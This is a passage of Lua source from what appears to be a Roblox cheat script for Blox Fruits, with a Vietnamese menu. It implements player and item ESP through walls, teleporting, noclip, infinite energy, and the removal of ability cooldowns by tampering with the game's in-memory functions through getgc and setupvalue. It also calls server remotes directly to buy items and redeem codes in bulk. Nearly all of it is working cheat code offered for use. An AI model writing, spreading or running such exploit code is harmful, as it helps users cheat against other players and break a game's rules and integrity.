DevilFruit:Button("Tp Hoa Xanh",function()

for i,v in pairs(game.Workspace:GetDescendants()) do

if v.Name == "Flower1" then

topos(v.CFrame)

end

end

end)

end

function isnil(thing)

return (thing == nil)

end

local function round(n)

return math.floor(tonumber(n) + 0.5)

end

Number = math.random(1, 1000000)

function UpdatePlayerChams()

for i,v in pairs(game:GetService'Players':GetChildren()) do

pcall(function()

if not isnil(v.Character) then

if ESPPlayer then

if not isnil(v.Character.Head) and not v.Character.Head:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v.Character.Head)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v.Character.Head

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "GothamBold"

name.FontSize = "Size14"

name.TextWrapped = true

name.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Character.Head.Position).Magnitude/3) ..' M')

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

if v.Team == game.Players.LocalPlayer.Team then

name.TextColor3 = Color3.new(0,255,0)

else

name.TextColor3 = Color3.new(255,0,0)

end

else

v.Character.Head['NameEsp'..Number].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Character.Head.Position).Magnitude/3) ..' M')

end

else

if v.Character.Head:FindFirstChild('NameEsp'..Number) then

v.Character.Head:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end

end)

end

end

function UpdateChestChams()

for i,v in pairs(game.Workspace:GetChildren()) do

pcall(function()

if string.find(v.Name,"Chest") then

if ChestESP then

if string.find(v.Name,"Chest") then

if not v:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "GothamBold"

name.FontSize = "Size14"

name.TextWrapped = true

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

if v.Name == "Chest1" then

name.TextColor3 = Color3.fromRGB(10, 224, 153)

name.Text = ("Chest 1" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

if v.Name == "Chest2" then

name.TextColor3 = Color3.fromRGB(10, 224, 153)

name.Text = ("Chest 2" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

if v.Name == "Chest3" then

name.TextColor3 = Color3.fromRGB(10, 224, 153)

name.Text = ("Chest 3" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

else

v['NameEsp'..Number].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

end

else

if v:FindFirstChild('NameEsp'..Number) then

v:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end

end)

end

end

function UpdateDevilChams()

for i,v in pairs(game.Workspace:GetChildren()) do

pcall(function()

if DevilFruitESP then

if string.find(v.Name, "Fruit") then

if not v.Handle:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v.Handle)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v.Handle

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "GothamBold"

name.FontSize = "Size14"

name.TextWrapped = true

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

name.TextColor3 = Color3.fromRGB(10, 224, 153)

name.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Handle.Position).Magnitude/3) ..' M')

else

v.Handle['NameEsp'..Number].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Handle.Position).Magnitude/3) ..' M')

end

end

else

if v.Handle:FindFirstChild('NameEsp'..Number) then

v.Handle:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end)

end

end

function UpdateFlowerChams()

for i,v in pairs(game.Workspace:GetChildren()) do

pcall(function()

if v.Name == "Flower2" or v.Name == "Flower1" then

if FlowerESP then

if not v:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "GothamBold"

name.FontSize = "Size14"

name.TextWrapped = true

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

name.TextColor3 = Color3.fromRGB(10, 224, 153)

if v.Name == "Flower1" then

name.Text = ("Blue Flower" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

name.TextColor3 = Color3.fromRGB(10, 224, 153)

end

if v.Name == "Flower2" then

name.Text = ("Red Flower" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

name.TextColor3 = Color3.fromRGB(10, 224, 153)

end

else

v['NameEsp'..Number].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

else

if v:FindFirstChild('NameEsp'..Number) then

v:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end

end)

end

end

DevilFruit:Toggle("ESP Người Chơi",false,function(a)

ESPPlayer = a

while ESPPlayer do wait()

UpdatePlayerChams()

end

end)

DevilFruit:Toggle("ESP Rương",false,function(a)

ChestESP = a

while ChestESP do wait()

UpdateChestChams()

end

end)

DevilFruit:Toggle("ESP Trái ác quỷ",false,function(a)

DevilFruitESP = a

while DevilFruitESP do wait()

UpdateDevilChams()

end

end)

DevilFruit:Toggle("ESP Hoa",false,function(a)

FlowerESP = a

while FlowerESP do wait()

UpdateFlowerChams()

end

end)

Shop:Seperator(" Abilities ")

Shop:Button("Đổi Tộc ( 3K F )",function()

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "BlackbeardReward",

[2] = "Reroll",

[3] = "2"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end)

Shop:Button("Mua Black Leg",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyBlackLeg")

end)

Shop:Button("Mua Electro",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectro")

end)

Shop:Button("Mua Fishman Karate",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyFishmanKarate")

end)

Shop:Button("Mua Dragon Claw",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BlackbeardReward","DragonClaw","1")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BlackbeardReward","DragonClaw","2")

end)

Shop:Button("Mua Superhuman",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySuperhuman")

end)

Shop:Button("Mua Death Step",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep")

end)

Shop:Button("Mua Sharkman Karate",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate",true)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate")

end)

Shop:Button("Mua Electric Claw",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectricClaw")

end)

Shop:Button("Mua Dragon Talon",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDragonTalon")

end)

Shop:Button("Mua GodHuman",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyGodhuman")

end)

Misc:Seperator(" Joins ")

Misc:Button("Join Pirates Team",function()

local args = {

[1] = "SetTeam",

[2] = "Pirates"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

local args = {

[1] = "BartiloQuestProgress"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end)

Misc:Button("Join Marines Team",function()

local args = {

[1] = "SetTeam",

[2] = "Marines"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

local args = {

[1] = "BartiloQuestProgress"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end)

Misc:Button("Rejoin",function()

local ts = game:GetService("TeleportService")

local p = game:GetService("Players").LocalPlayer

ts:Teleport(game.PlaceId, p)

end)

Misc:Button("Sever Hop",function()

hop()

end)

Misc:Button("Hop To Lower Player",function()

local maxplayers, gamelink, goodserver, data\_table = math.huge, "https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100"

if not \_G.FailedServerID then \_G.FailedServerID = {} end

local function serversearch()

data\_table = game:GetService"HttpService":JSONDecode(game:HttpGetAsync(gamelink))

for \_, v in pairs(data\_table.data) do

pcall(function()

if type(v) == "table" and v.id and v.playing and tonumber(maxplayers) > tonumber(v.playing) and not table.find(\_G.FailedServerID, v.id) then

maxplayers = v.playing

goodserver = v.id

end

end)

end

end

function getservers()

pcall(serversearch)

for i, v in pairs(data\_table) do

if i == "nextPageCursor" then

if gamelink:find"&cursor=" then

local a = gamelink:find"&cursor="

local b = gamelink:sub(a)

gamelink = gamelink:gsub(b, "")

end

gamelink = gamelink .. "&cursor=" .. v

pcall(getservers)

end

end

end

pcall(getservers)

wait()

if goodserver == game.JobId or maxplayers == #game:GetService"Players":GetChildren() - 1 then

end

table.insert(\_G.FailedServerID, goodserver)

game:GetService"TeleportService":TeleportToPlaceInstance(game.PlaceId, goodserver)

end)

Misc:Seperator(" Open Menu ")

--Misc:Button("Inventory",function()

-- game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("getInventoryWeapons")

-- game.Players.localPlayer.PlayerGui.Main.Inventory.Visible = true

--end)

Misc:Button("Shop Fruit",function()

local args = {

[1] = "GetFruits"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

game.Players.localPlayer.PlayerGui.Main.FruitShop.Visible = true

end)

Misc:Button("Danh Hiệu",function()

local args = {

[1] = "getTitles"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

game.Players.localPlayer.PlayerGui.Main.Titles.Visible = true

end)

Misc:Button("Màu Haki",function()

game.Players.localPlayer.PlayerGui.Main.Colors.Visible = true

end)

Misc:Seperator(" Codes ")

local x2Code = {

"EXP\_5B",

"CONTROL",

"UPDATE11",

"XMASEXP",

"1BILLION",

"ShutDownFix2",

"UPD14",

"STRAWHATMAINE",

"TantaiGaming",

"Colosseum",

"Axiore",

"Sub2Daigrock",

"Sky Island 3",

"Sub2OfficialNoobie",

"SUB2NOOBMASTER123",

"THEGREATACE",

"Fountain City",

"BIGNEWS",

"FUDD10",

"SUB2GAMERROBOT\_EXP1",

"UPD15",

"2BILLION",

"UPD16",

"3BVISITS",

"fudd10\_v2",

"Starcodeheo",

"Magicbus",

"JCWK",

"Bluxxy",

"Sub2Fer999",

"Enyu\_is\_Pro"

}

Misc:Button("Nhập All Codes",function()

function RedeemCode(value)

game:GetService("ReplicatedStorage").Remotes.Redeem:InvokeServer(value)

end

for i,v in pairs(x2Code) do

RedeemCode(v)

end

end)

Misc:Dropdown("Selected Codes",{"1MLIKES\_RESET","THIRDSEA","SUB2GAMERROBOT\_RESET1","SUB2UNCLEKIZARU"},function(value)

\_G.CodeSelect = value

end)

Misc:Button("Redeem Code",function()

game:GetService("ReplicatedStorage").Remotes.Redeem:InvokeServer(\_G.CodeSelect)

end)

Misc:Seperator(" Player Misc ")

Misc:Dropdown("Select Haki State",{"State 0","State 1","State 2","State 3","State 4","State 5"},function(value)

\_G.SelectStateHaki = value

end)

Misc:Button("Bọc Haki",function()

if \_G.SelectStateHaki == "Bàn Tay" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ChangeBusoStage",0)

elseif \_G.SelectStateHaki == "Full Tay" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ChangeBusoStage",1)

elseif \_G.SelectStateHaki == "Full Tay Và Nửa Thân" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ChangeBusoStage",2)

elseif \_G.SelectStateHaki == "Full Tay Và Thân" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ChangeBusoStage",3)

elseif \_G.SelectStateHaki == "Full Thân và Tay " then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ChangeBusoStage",4)

elseif \_G.SelectStateHaki == "FUll Người" then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ChangeBusoStage",5)

end

end)

Misc:Toggle("No Clip",\_G.No\_clip,function(value)

\_G.No\_clip = value

end)

spawn(function()

pcall(function()

game:GetService("RunService").Stepped:Connect(function()

if \_G.No\_clip then

for \_, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do

if v:IsA("BasePart") then

v.CanCollide = false

end

end

end

end)

end)

end)

function NoDodgeCool()

if nododgecool then

for i,v in next, getgc() do

if game:GetService("Players").LocalPlayer.Character.Dodge then

if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.Character.Dodge then

for i2,v2 in next, getupvalues(v) do

if tostring(v2) == "0.1" then

repeat wait(.1)

setupvalue(v,i2,0)

until not nododgecool

end

end

end

end

end

end

end

local LocalPlayer = game:GetService'Players'.LocalPlayer

local originalstam = LocalPlayer.Character.Energy.Value

function infinitestam()

LocalPlayer.Character.Energy.Changed:connect(function()

if InfiniteEnergy then

LocalPlayer.Character.Energy.Value = originalstam

end

end)

end

spawn(function()

pcall(function()

while wait(.1) do

if InfiniteEnergy then

wait(0.1)

originalstam = LocalPlayer.Character.Energy.Value

infinitestam()

end

end

end)

end)

--Misc:Toggle("Dodge No Cooldown",false,function(value)

-- nododgecool = value

-- NoDodgeCool()

-- end)

Misc:Toggle("Tự Động Bật Tộc v3",\_G.AutoAgility,function(value)

\_G.AutoAgility = value

end)

spawn(function()

pcall(function()

while wait() do

if \_G.AutoAgility then

game:GetService("ReplicatedStorage").Remotes.CommE:FireServer("ActivateAbility")

end

end

end)

end)

Misc:Toggle("Chạy Nhanh",true,function(value)

InfAbility = value

if value == false then

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility"):Destroy()

end

end)

spawn(function()

while wait() do

if InfAbility then

InfAb()

end

end

end)

Misc:Toggle("Tăng Phạm Vi Haki Quan Sát",getgenv().InfiniteObRange,function(value)

getgenv().InfiniteObRange = value

local VS = game:GetService("Players").LocalPlayer.VisionRadius.Value

while getgenv().InfiniteObRange do

wait()

local player = game:GetService("Players").LocalPlayer

local char = player.Character

local VisionRadius = player.VisionRadius

if player then

if char.Humanoid.Health <= 0 then

wait(5)

end

VisionRadius.Value = math.huge

elseif getgenv().InfiniteObRange == false and player then

VisionRadius.Value = VS

end

end

end)

-- Misc:Toggle("Infinite Geppo",getgenv().InfGeppo,function(value)

-- getgenv().InfGeppo = value

-- end)

spawn(function()

while wait() do

pcall(function()

if getgenv().InfGeppo then

for i,v in next, getgc() do

if game:GetService("Players").LocalPlayer.Character.Geppo then

if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.Character.Geppo then

for i2,v2 in next, getupvalues(v) do

if tostring(i2) == "9" then

repeat wait(.1)

setupvalue(v,i2,0)

until not getgenv().InfGeppo or game:GetService("Players").LocalPlayer.Character.Humanoid.Health <= 0

end

end

end

end

end

end

end)

end

end)

Misc:Toggle("Soru Vô Hạn",getgenv().InfSoru,function(value)

getgenv().InfSoru = value

end)

spawn(function()

while wait() do

pcall(function()

if getgenv().InfSoru and game:GetService("Players").LocalPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil then

for i,v in next, getgc() do

if game:GetService("Players").LocalPlayer.Character.Soru then

if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.Character.Soru then

for i2,v2 in next, getupvalues(v) do

if typeof(v2) == "table" then

repeat wait(.1)

v2.LastUse = 0

until not getgenv().InfSoru or game:GetService("Players").LocalPlayer.Character.Humanoid.Health <= 0

end

end

end

end

end

end

end)

end

end)

Misc:Toggle("Đứng Trên Biển",true,function(value)

\_G.WalkWater = value

end)

if World2 then

Misc:Button("Xóa Lava",function()

for i,v in pairs(game.Workspace:GetDescendants()) do

if v.Name == "Lava" then

v:Destroy()

end

end

for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do

if v.Name == "Lava" then

v:Destroy()

end

end

end)

end

spawn(function()

while task.wait() do

pcall(function()

if \_G.WalkWater then

game:GetService("Workspace").Map["WaterBase-Plane"].Size = Vector3.new(1000,112,1000)

else

game:GetService("Workspace").Map["WaterBase-Plane"].Size = Vector3.new(1000,80,1000)

end

end)

end

end)

--Misc:Toggle("Fly",false,function(value)

-- Fly = value

-- end)

spawn(function()

while wait() do

pcall(function()

if Fly then

fly()

end

end)

end

end)

--Misc:Button("Unlock FPS",function()

-- setfpscap(100)

-- end)

Misc:Button("Tàn Hình",function()

game:GetService("Players").LocalPlayer.Character.LowerTorso:Destroy()

end)

Misc:Button("Show acc ( Pc )",function()

-- Gui to Lua

local ScreenGui = Instance.new("ScreenGui")

local TextLabel = Instance.new("TextLabel")

local UIStroke = Instance.new("UIStroke")

local UIGradient = Instance.new("UIGradient")

local TextLabel\_2 = Instance.new("TextLabel")

local UIStroke\_2 = Instance.new("UIStroke")

local UIGradient\_2 = Instance.new("UIGradient")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

TextLabel.Parent = ScreenGui

TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.BackgroundTransparency = 1.000

TextLabel.BorderColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.BorderSizePixel = 0

TextLabel.Position = UDim2.new(0.714958787, 0, 0.784615397, 0)

TextLabel.Size = UDim2.new(0, 101, 0, 51)

TextLabel.Font = Enum.Font.SourceSans

TextLabel.Text = "Tên Acc : "

TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.TextScaled = true

TextLabel.TextSize = 1.000

TextLabel.TextStrokeColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.TextWrapped = true

UIStroke.Color = Color3.fromRGB(255, 255, 255)

UIStroke.Parent = TextLabel

UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 0, 4)), ColorSequenceKeypoint.new(0.34, Color3.fromRGB(7, 243, 255)), ColorSequenceKeypoint.new(0.68, Color3.fromRGB(5, 255, 13)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 234, 2))}

UIGradient.Parent = UIStroke

TextLabel\_2.Parent = TextLabel

TextLabel\_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextLabel\_2.BackgroundTransparency = 1.000

TextLabel\_2.BorderColor3 = Color3.fromRGB(0, 0, 0)

TextLabel\_2.BorderSizePixel = 0

TextLabel\_2.Position = UDim2.new(0.997744143, 0, 0.0196078438, 0)

TextLabel\_2.Size = UDim2.new(0, 130, 0, 50)

TextLabel\_2.Font = Enum.Font.SourceSans

TextLabel\_2.Text = game.Players.LocalPlayer.Name

TextLabel\_2.TextColor3 = Color3.fromRGB(255, 255, 255)

TextLabel\_2.TextSize = 34.000

TextLabel\_2.TextWrapped = true

UIStroke\_2.Color = Color3.fromRGB(255, 255, 255)

UIStroke\_2.Parent = TextLabel\_2

UIGradient\_2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(87, 255, 177)), ColorSequenceKeypoint.new(0.34, Color3.fromRGB(26, 244, 255)), ColorSequenceKeypoint.new(0.67, Color3.fromRGB(255, 182, 253)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(246, 255, 66))}

UIGradient\_2.Parent = UIStroke\_2

UIAspectRatioConstraint.Parent = ScreenGui

UIAspectRatioConstraint.AspectRatio = 1.633

-- Scripts:

local function IJSNJU\_fake\_script() -- UIGradient.LocalScript

local script = Instance.new('LocalScript', UIGradient)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(IJSNJU\_fake\_script)()

local function TWYWG\_fake\_script() -- UIGradient\_2.Script

local script = Instance.new('Script', UIGradient\_2)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(TWYWG\_fake\_script)()

local click = Instance.new("ScreenGui")

local TextButton = Instance.new("TextButton")

local UIStroke = Instance.new("UIStroke")

local UIGradient = Instance.new("UIGradient")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

click.Name = "click"

click.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

click.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

TextButton.Parent = click

TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextButton.BackgroundTransparency = 1.000

TextButton.BorderColor3 = Color3.fromRGB(255, 255, 255)

TextButton.BorderSizePixel = 0

TextButton.ClipsDescendants = true

TextButton.Position = UDim2.new(0.395759732, 0, 0.790384591, 0)

TextButton.Size = UDim2.new(0, 253, 0, 33)

TextButton.ZIndex = 3

TextButton.Font = Enum.Font.SourceSans

TextButton.LineHeight = 1.090

TextButton.Text = "Click Nếu Có Mảnh Gương"

TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)

TextButton.TextScaled = true

TextButton.TextSize = 19.000

TextButton.TextWrapped = true

UIStroke.Color = Color3.fromRGB(255, 255, 255)

UIStroke.Thickness = 0.5

UIStroke.Parent = TextButton

UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 73)), ColorSequenceKeypoint.new(0.42, Color3.fromRGB(58, 255, 140)), ColorSequenceKeypoint.new(0.63, Color3.fromRGB(57, 245, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))}

UIGradient.Parent = UIStroke

UIAspectRatioConstraint.Parent = click

UIAspectRatioConstraint.AspectRatio = 1.633

-- Scripts:

local function YPRGW\_fake\_script() -- UIGradient.LocalScript

local script = Instance.new('LocalScript', UIGradient)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

local tween = TweenService:Create(script.Parent, tweeninfo, {Rotation = 360})

tween:Play()

end

coroutine.wrap(YPRGW\_fake\_script)()

local function LIYTYB\_fake\_script() -- TextButton.LocalScript

local script = Instance.new('LocalScript', TextButton)

script.Parent.MouseButton1Click:Connect(function()

-- Gui to Lua

-- Version: 3.6

-- Instances:

local ScreenGui = Instance.new("ScreenGui")

local ImageLabel = Instance.new("ImageLabel")

local UICorner = Instance.new("UICorner")

local ImageButton = Instance.new("ImageButton")

local UICorner\_2 = Instance.new("UICorner")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

ImageLabel.Parent = ScreenGui

ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ImageLabel.BackgroundTransparency = 1.000

ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)

ImageLabel.BorderSizePixel = 0

ImageLabel.Position = UDim2.new(0.396834195, 0, 0.567307711, 0)

ImageLabel.Size = UDim2.new(0, 107, 0, 82)

ImageLabel.Image = "http://www.roblox.com/asset/?id=14487530170"

ImageLabel.ScaleType = Enum.ScaleType.Fit

UICorner.CornerRadius = UDim.new(0, 15)

UICorner.Parent = ImageLabel

ImageButton.Parent = ImageLabel

ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

ImageButton.BackgroundTransparency = 1.000

ImageButton.BorderColor3 = Color3.fromRGB(0, 0, 0)

ImageButton.BorderSizePixel = 0

ImageButton.Position = UDim2.new(0.6363343, 0, 0, 0)

ImageButton.Size = UDim2.new(0, 26, 0, 25)

ImageButton.Image = "rbxassetid://9545003266"

UICorner\_2.Parent = ImageButton

UIAspectRatioConstraint.Parent = ScreenGui

UIAspectRatioConstraint.AspectRatio = 1.633

-- Scripts:

local function LXUKOG\_fake\_script() -- ImageButton.LocalScript

local script = Instance.new('LocalScript', ImageButton)

script.Parent.MouseButton1Click:Connect(function()

script.Parent.Parent.Parent:Destroy()

end)

end

coroutine.wrap(LXUKOG\_fake\_script)()

local function NPDDTT\_fake\_script() -- ImageLabel.LocalScript

local script = Instance.new('LocalScript', ImageLabel)

local UIS = game:GetService('UserInputService')

local frame = script.Parent

local dragToggle = nil

local dragSpeed = 0.25

local dragStart = nil

local startPos = nil

local function updateInput(input)

local delta = input.Position - dragStart

local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,

startPos.Y.Scale, startPos.Y.Offset + delta.Y)

game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()

end

frame.InputBegan:Connect(function(input)

if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then

dragToggle = true

dragStart = input.Position

startPos = frame.Position

input.Changed:Connect(function()

if input.UserInputState == Enum.UserInputState.End then

dragToggle = false

end

end)

end

end)

UIS.InputChanged:Connect(function(input)

if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then

if dragToggle then

updateInput(input)

end

end

end)

end

coroutine.wrap(NPDDTT\_fake\_script)()

wait(1)

script.Parent:Destroy()

end)

end

coroutine.wrap(LIYTYB\_fake\_script)()

game:GetService("Players").LocalPlayer.PlayerGui.Main.SafeZone:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.MenuButton:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.HP:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Energy:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Position = UDim2.new(0, 10, 0.90299999, 0)

game:GetService("Players").LocalPlayer.PlayerGui.Main.RaceEnergy.Position = UDim2.new(0, 10, 0.97299999, 0)

game:GetService("Players").LocalPlayer.PlayerGui.Main.Beli.Position = UDim2.new(0.00999999978, 0, 0.79400003, 0)

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Black:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Bar:Destroy()

game:GetService("Players").LocalPlayer.PlayerGui.Main.Level.Exp:Destroy()

local ScreenGui = Instance.new("ScreenGui")

local TextLabel = Instance.new("TextLabel")

local UICorner = Instance.new("UICorner")

local UIStroke = Instance.new("UIStroke")

local UIGradient = Instance.new("UIGradient")

local UIAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")

--Properties:

ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")

ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

TextLabel.Parent = ScreenGui

TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.BackgroundTransparency = 1.000

TextLabel.Position = UDim2.new(0.787, 0,-0.03, 0)

TextLabel.Size = UDim2.new(0.258796811, 0, 0.0200803205, 0)

TextLabel.Font = Enum.Font.SourceSans

TextLabel.Text = "=thánh đần Hub"

TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)

TextLabel.TextSize = 29.000

TextLabel.TextTransparency = 0.030

TextLabel.TextWrapped = true

UICorner.Parent = TextLabel

UIStroke.Color = Color3.fromRGB(255, 255, 255)

UIStroke.Parent = TextLabel

UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(135, 255, 145)), ColorSequenceKeypoint.new(0.18, Color3.fromRGB(255, 247, 130)), ColorSequenceKeypoint.new(0.37, Color3.fromRGB(249, 158, 255)), ColorSequenceKeypoint.new(0.58, Color3.fromRGB(120, 210, 204)), ColorSequenceKeypoint.new(0.87, Color3.fromRGB(243, 98, 93)), ColorSequenceKeypoint.new(0.97, Color3.fromRGB(85, 255, 0)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))}

UIGradient.Parent = UIStroke

UIAspectRatioConstraint.Parent = TextLabel

UIAspectRatioConstraint.AspectRatio = 22.800

-- Scripts:

local function AJXXA\_fake\_script() -- UIGradient.LocalScript

local script = Instance.new('LocalScript', UIGradient)

local TweenService = game:GetService("TweenService")

local tweeninfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

